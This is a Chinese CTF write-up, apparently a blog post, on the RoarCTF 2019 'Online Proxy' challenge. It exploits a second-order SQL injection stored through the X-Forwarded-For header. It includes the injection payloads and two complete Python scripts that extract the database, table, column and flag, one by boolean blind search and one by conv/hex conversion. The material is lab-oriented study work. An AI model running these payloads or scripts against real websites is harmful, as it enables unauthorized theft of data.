[RoarCTF 2019]Online Proxy——二次注入,又是你?

31 篇文章 3 订阅
5 篇文章 0 订阅

前言

最近真属于是”多事之秋“了,平常不留作业的课最近都破天荒的留了作业。最近做题目的节奏又被打乱了,哎无语。之后想写一篇关于flask的文章,不知道什么时候才有机会,现在还是以sql注入为主。不说了,先看题吧。

正文

这道题又是二次注入的题目,但是注入点较之前的注入点位有很大的不同。这次的注入点在数据包头的XFF字段。
那么如何进行二次注入呢?请考虑如下代码
select '0'+(length(database())>0)+'0' from user
请添加图片描述
如果我们将上面的查询语句提前插入了数据库中,当我们再次调用该字段的时候就可以触发该查询语句,并返回查询的值。
我们发现一个问题,在我们改写XFF字段的时候,响应中的Current-IP字段就会发生变化,同时Last-IP就是我们之前上一个XFF字段的值。那么这个Last-IP字段的值是从哪里来的呢?很明显是我们第一次输入后,然后被被服务端存进数据库,我们第二次输入了一个不同的XFF,导致服务端需要回显Last-IP,所以他就会去数据库中去找这个刚被存进去的数据。那么,如此分析下来,我们可以基于此进行二次注入了。
我们先用0'+(length(database())>0)+'0进行测试。
(第一次发包)
请添加图片描述
(第二次发包)
请添加图片描述(第三次发包),XFF字段不必与上一次的相同
请添加图片描述
我们看到在我们最后一次发包后,我们得到了我们应该得到的结果,现在就可以开始编写脚本了。

import requests


def start_ascii():
    result = ""
    url = "http://node4.buuoj.cn:28741"
    for i in range(1,300):
        low = 32
        high = 128
        mid = (low + high)//2
        header = {
            "Cookie": "track_uuid=7e9619d8-6818-4a97-8026-8f624aef3e56;IS_STATIC=1",
            "X-Forwarded-For":""
        }
        while(low < high):
            # payload = "0' + ascii(substr((select group_concat(schema_name)from information_schema.schemata), % d, 1)) > % d + '0"%(i,mid)
            # payload = "0' + ascii(substr((select(group_concat(table_name))from(information_schema.tables)where((table_schema)=('F4l9_D4t4B45e'))),{},1))>{} + '0".format(i, mid)
            # payload = "0' + ascii(substr((select(group_concat(column_name))from(information_schema.columns)where((table_name)=('F4l9_t4b1e'))),{},1))>{} + '0".format(i, mid)
            payload = "0'+ ascii(substr((select(group_concat(F4l9_C01uMn))from(F4l9_D4t4B45e.F4l9_t4b1e)),{},1))>{}+'0".format(i, mid)
            header["X-Forwarded-For"] = payload
            test = "33333"
            res = requests.get(url, headers=header)
            header["X-Forwarded-For"] = test
            res = requests.get(url, headers=header)
            res = requests.get(url, headers=header)
            # print(res.text[-5])
            if '1' == res.text[-5]:
                low = mid + 1
            else:
                high = mid
            mid = (low + high)//2
        if mid == 32 or mid == 127:
            break
        result = result + chr(mid)
        print(result)

if __name__ == "__main__":
    start_ascii()

爆库名
请添加图片描述
爆表名
请添加图片描述
爆列名
请添加图片描述
爆flag
请添加图片描述
这样我就拿到flag了。
我上面的做法,是最经典的bool盲注。但是对这道题而言,既然它可以回显那为什么我们不用他所给的回显”告诉“我们flag是什么呢?思路来源https://lethe.site/2019/10/21/RoarCTF-Web-Writeup/#online-proxy
0'+conv(hex(substr((select group_concat(F4l9_C01uMn) from F4l9_D4t4B45e.F4l9_t4b1e),1,5)),16,10)+'0通过这个payload我们可以拿到前五个字符的整数形式,只需要再让它转换成16进制进而变成字符就行了。我们先来测试一下:
(第一次发包)
请添加图片描述
(第二次发包)
请添加图片描述
(第三次发包)
请添加图片描述
我们用python把他转化一下

import binascii

print(hex(452823773042))
print(type(452823773042))
all_result = binascii.a2b_hex(hex(452823773042)[2:]).decode('utf8')
print(all_result)

在这里插入图片描述
有了测试结果,有了数据处理的代码段,接下来就是编写脚本。

import requests
import binascii

def start_ascii():
    result_final = ""
    url = "http://node4.buuoj.cn:28741"
    for i in range(1,300,5):
        header = {
            "Cookie": "track_uuid=7e9619d8-6818-4a97-8026-8f624aef3e56;IS_STATIC=1",
            "X-Forwarded-For":""
        }
        payload = "0'+conv(hex(substr((select group_concat(F4l9_C01uMn) from F4l9_D4t4B45e.F4l9_t4b1e),{},5)),16,10)+'0".format(i)
        header["X-Forwarded-For"] = payload
        test = "33333"
        res = requests.get(url, headers=header)
        header["X-Forwarded-For"] = test
        res = requests.get(url, headers=header)
        res = requests.get(url, headers=header)
        result = int(res.text.split(" ")[-2])
        tra_result = binascii.a2b_hex(hex(result)[2:]).decode('utf8')
        # location = res.text.find("Last Ip: ")
        # print(location)
        result_final += tra_result
        print(result_final)

if __name__ == "__main__":
    start_ascii()

脚本的运行结果如下
请添加图片描述
这里想说一点,我在一开始的时候,尝试让数据库给我返回十六进制的数据,但是失败了仅有一次返回成功却还是科学计数法。所以这里一定要用conv转换成十进制。

后记

这次又从不同的大佬那里学到了新的姿势,真是受益匪浅。只是这题目设计的总会让我想起SSRF,又是url,又是可以从外边请求连接的,怪起来了。XFF字段的注入还是有点东西的,以后还是要接着学习注入点的位置。

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值